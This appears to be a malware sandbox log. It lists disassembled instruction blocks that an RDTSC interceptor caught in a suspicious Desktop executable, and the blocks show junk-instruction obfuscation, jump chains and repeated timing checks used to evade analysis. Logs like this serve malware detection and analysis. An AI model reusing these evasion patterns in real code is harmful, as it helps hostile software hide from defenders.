Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B406F6 second address: 7B406FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B406FA second address: 7B4070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+64h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4070B second address: 7B4070F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4070F second address: 7B40713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40713 second address: 7B40719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40719 second address: 7B40778 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+28h], eax 0x0000000c pushad 0x0000000d mov eax, 78AC6C43h 0x00000012 mov bx, cx 0x00000015 popad 0x00000016 mov eax, dword ptr [ebx+68h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ebx, 4272A7A2h 0x00000021 pushfd 0x00000022 jmp 00007F0DECF2B4E3h 0x00000027 and ch, FFFFFF9Eh 0x0000002a jmp 00007F0DECF2B4E9h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40778 second address: 7B4077E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4077E second address: 7B40782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B408D4 second address: 7B408FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+40h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DEC859E6Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B408FB second address: 7B40925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0DECF2B4DDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40925 second address: 7B4092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4092B second address: 7B4092F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4092F second address: 7B4099F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a jmp 00007F0DEC859E6Fh 0x0000000f nop 0x00000010 pushad 0x00000011 jmp 00007F0DEC859E74h 0x00000016 mov edx, esi 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b jmp 00007F0DEC859E6Dh 0x00000020 call 00007F0DEC859E70h 0x00000025 jmp 00007F0DEC859E72h 0x0000002a pop esi 0x0000002b popad 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov cx, 39F9h 0x00000034 push esi 0x00000035 pop ebx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4099F second address: 7B409B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B409B1 second address: 7B40A2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-10h] 0x0000000e pushad 0x0000000f mov bx, ax 0x00000012 jmp 00007F0DEC859E70h 0x00000017 popad 0x00000018 nop 0x00000019 pushad 0x0000001a push esi 0x0000001b jmp 00007F0DEC859E79h 0x00000020 pop esi 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov dx, 2D5Eh 0x0000002a pushfd 0x0000002b jmp 00007F0DEC859E6Fh 0x00000030 sbb al, 0000000Eh 0x00000033 jmp 00007F0DEC859E79h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40A2E second address: 7B40A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40A5A second address: 7B40A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40A60 second address: 7B40AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, eax 0x0000000d jmp 00007F0DECF2B4E0h 0x00000012 test edi, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0DECF2B4E7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40AA5 second address: 7B40B21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F0E59B18A67h 0x0000000f jmp 00007F0DEC859E6Eh 0x00000014 mov eax, dword ptr [ebp-0Ch] 0x00000017 jmp 00007F0DEC859E70h 0x0000001c mov dword ptr [esi+04h], eax 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F0DEC859E6Eh 0x00000026 sbb ch, 00000068h 0x00000029 jmp 00007F0DEC859E6Bh 0x0000002e popfd 0x0000002f mov ah, 9Ah 0x00000031 popad 0x00000032 lea eax, dword ptr [ebx+78h] 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F0DEC859E6Eh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40B21 second address: 7B40B6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b jmp 00007F0DECF2B4E6h 0x00000010 nop 0x00000011 pushad 0x00000012 jmp 00007F0DECF2B4DEh 0x00000017 push eax 0x00000018 push edx 0x00000019 call 00007F0DECF2B4E0h 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40B6B second address: 7B40BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F0DEC859E77h 0x0000000b nop 0x0000000c jmp 00007F0DEC859E76h 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 pushad 0x00000015 push esi 0x00000016 mov edx, 13FDBB30h 0x0000001b pop edi 0x0000001c mov cx, B165h 0x00000020 popad 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov di, 5060h 0x00000029 call 00007F0DEC859E79h 0x0000002e pop ecx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40BD2 second address: 7B40BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DECF2B4DDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40BF6 second address: 7B40C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40C0B second address: 7B40C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 6B788B02h 0x00000008 push ebx 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0DECF2B4E0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40C8A second address: 7B40CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F0DEC859E70h 0x0000000c xor cl, FFFFFFB8h 0x0000000f jmp 00007F0DEC859E6Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov edi, eax 0x0000001a jmp 00007F0DEC859E76h 0x0000001f test edi, edi 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushfd 0x00000025 jmp 00007F0DEC859E6Ch 0x0000002a sub si, 1348h 0x0000002f jmp 00007F0DEC859E6Bh 0x00000034 popfd 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40CEE second address: 7B40D09 instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 call 00007F0DECF2B4E2h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40D09 second address: 7B40D4B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0DEC859E6Bh 0x00000008 jmp 00007F0DEC859E73h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 js 00007F0E59B187F1h 0x00000017 pushad 0x00000018 call 00007F0DEC859E74h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40D4B second address: 7B40D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 mov eax, dword ptr [ebp-04h] 0x0000000c jmp 00007F0DECF2B4E8h 0x00000011 mov dword ptr [esi+08h], eax 0x00000014 pushad 0x00000015 mov edi, ecx 0x00000017 mov si, B629h 0x0000001b popad 0x0000001c lea eax, dword ptr [ebx+70h] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F0DECF2B4DBh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40D8A second address: 7B40DB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov eax, ebx 0x00000010 push ebx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40DB1 second address: 7B40DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40DCC second address: 7B40DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40F36 second address: 7B40F54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40F54 second address: 7B40F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40F58 second address: 7B40F75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4104A second address: 7B41071 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lock cmpxchg dword ptr [edx], ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41071 second address: 7B41084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41084 second address: 7B4109C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4109C second address: 7B410A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B410A0 second address: 7B410B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B410B1 second address: 7B410C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B410C6 second address: 7B410F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0DEC859E6Eh 0x0000000a popad 0x0000000b jne 00007F0E59B18468h 0x00000011 jmp 00007F0DEC859E70h 0x00000016 mov edx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B410F8 second address: 7B410FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, 3Eh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B410FF second address: 7B41132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi] 0x0000000b jmp 00007F0DEC859E6Eh 0x00000010 mov dword ptr [edx], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov cx, di 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41132 second address: 7B41137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41137 second address: 7B4116D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 60C304B1h 0x00000008 movzx ecx, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esi+04h] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F0DEC859E75h 0x0000001a jmp 00007F0DEC859E6Bh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4116D second address: 7B411B5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F0DECF2B4E4h 0x0000000c or ecx, 67ECC018h 0x00000012 jmp 00007F0DECF2B4DBh 0x00000017 popfd 0x00000018 popad 0x00000019 mov dword ptr [edx+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0DECF2B4E5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B411B5 second address: 7B411C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B411C5 second address: 7B411C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B411C9 second address: 7B41294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+08h] 0x0000000b pushad 0x0000000c mov bx, 7DC0h 0x00000010 jmp 00007F0DEC859E79h 0x00000015 popad 0x00000016 mov dword ptr [edx+08h], eax 0x00000019 pushad 0x0000001a call 00007F0DEC859E6Ch 0x0000001f call 00007F0DEC859E72h 0x00000024 pop eax 0x00000025 pop ebx 0x00000026 pushfd 0x00000027 jmp 00007F0DEC859E70h 0x0000002c and al, FFFFFF98h 0x0000002f jmp 00007F0DEC859E6Bh 0x00000034 popfd 0x00000035 popad 0x00000036 mov eax, dword ptr [esi+0Ch] 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F0DEC859E74h 0x00000040 jmp 00007F0DEC859E75h 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F0DEC859E70h 0x0000004c sub esi, 2D038E58h 0x00000052 jmp 00007F0DEC859E6Bh 0x00000057 popfd 0x00000058 popad 0x00000059 mov dword ptr [edx+0Ch], eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41294 second address: 7B41298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41298 second address: 7B4129C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4129C second address: 7B412A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B412A2 second address: 7B412A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B412A8 second address: 7B412C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0DECF2B4DAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B412C1 second address: 7B412C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B412C7 second address: 7B413D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+10h], eax 0x0000000c jmp 00007F0DECF2B4E0h 0x00000011 mov eax, dword ptr [esi+14h] 0x00000014 pushad 0x00000015 mov dh, ch 0x00000017 pushfd 0x00000018 jmp 00007F0DECF2B4E3h 0x0000001d or eax, 23DB6C8Eh 0x00000023 jmp 00007F0DECF2B4E9h 0x00000028 popfd 0x00000029 popad 0x0000002a mov dword ptr [edx+14h], eax 0x0000002d jmp 00007F0DECF2B4DEh 0x00000032 mov eax, dword ptr [esi+18h] 0x00000035 jmp 00007F0DECF2B4E0h 0x0000003a mov dword ptr [edx+18h], eax 0x0000003d pushad 0x0000003e mov bx, ax 0x00000041 jmp 00007F0DECF2B4DAh 0x00000046 popad 0x00000047 mov eax, dword ptr [esi+1Ch] 0x0000004a jmp 00007F0DECF2B4E0h 0x0000004f mov dword ptr [edx+1Ch], eax 0x00000052 jmp 00007F0DECF2B4E0h 0x00000057 mov eax, dword ptr [esi+20h] 0x0000005a pushad 0x0000005b mov edi, esi 0x0000005d pushfd 0x0000005e jmp 00007F0DECF2B4DAh 0x00000063 adc ch, FFFFFFF8h 0x00000066 jmp 00007F0DECF2B4DBh 0x0000006b popfd 0x0000006c popad 0x0000006d mov dword ptr [edx+20h], eax 0x00000070 jmp 00007F0DECF2B4E6h 0x00000075 mov eax, dword ptr [esi+24h] 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F0DECF2B4E7h 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B413D9 second address: 7B4140A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+24h], eax 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 movzx esi, dx 0x00000013 popad 0x00000014 mov eax, dword ptr [esi+28h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4140A second address: 7B4140E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4140E second address: 7B4142A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4142A second address: 7B41453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov edx, 5076B690h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+28h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F0DECF2B4E0h 0x00000018 mov ecx, 7D7A7E31h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41453 second address: 7B414D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [esi+2Ch] 0x0000000c pushad 0x0000000d mov cl, 0Dh 0x0000000f jmp 00007F0DEC859E71h 0x00000014 popad 0x00000015 mov dword ptr [edx+2Ch], ecx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F0DEC859E6Ch 0x0000001f sbb ax, AF98h 0x00000024 jmp 00007F0DEC859E6Bh 0x00000029 popfd 0x0000002a jmp 00007F0DEC859E78h 0x0000002f popad 0x00000030 mov ax, word ptr [esi+30h] 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F0DEC859E6Ch 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B414D4 second address: 7B4150C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0DECF2B4E2h 0x00000008 or si, B458h 0x0000000d jmp 00007F0DECF2B4DBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov esi, 05DE650Fh 0x0000001a popad 0x0000001b mov word ptr [edx+30h], ax 0x0000001f pushad 0x00000020 mov bh, al 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4150C second address: 7B4151C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov ax, word ptr [esi+32h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4151C second address: 7B41520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41520 second address: 7B41526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41526 second address: 7B41576 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 62DAh 0x00000007 jmp 00007F0DECF2B4DBh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov word ptr [edx+32h], ax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F0DECF2B4E4h 0x0000001a xor esi, 350C5848h 0x00000020 jmp 00007F0DECF2B4DBh 0x00000025 popfd 0x00000026 push esi 0x00000027 movsx edi, ax 0x0000002a pop ecx 0x0000002b popad 0x0000002c mov eax, dword ptr [esi+34h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41576 second address: 7B4157A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4157A second address: 7B41580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41580 second address: 7B41598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+34h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41598 second address: 7B415D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, 00000700h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0DECF2B4E7h 0x00000016 rdtsc
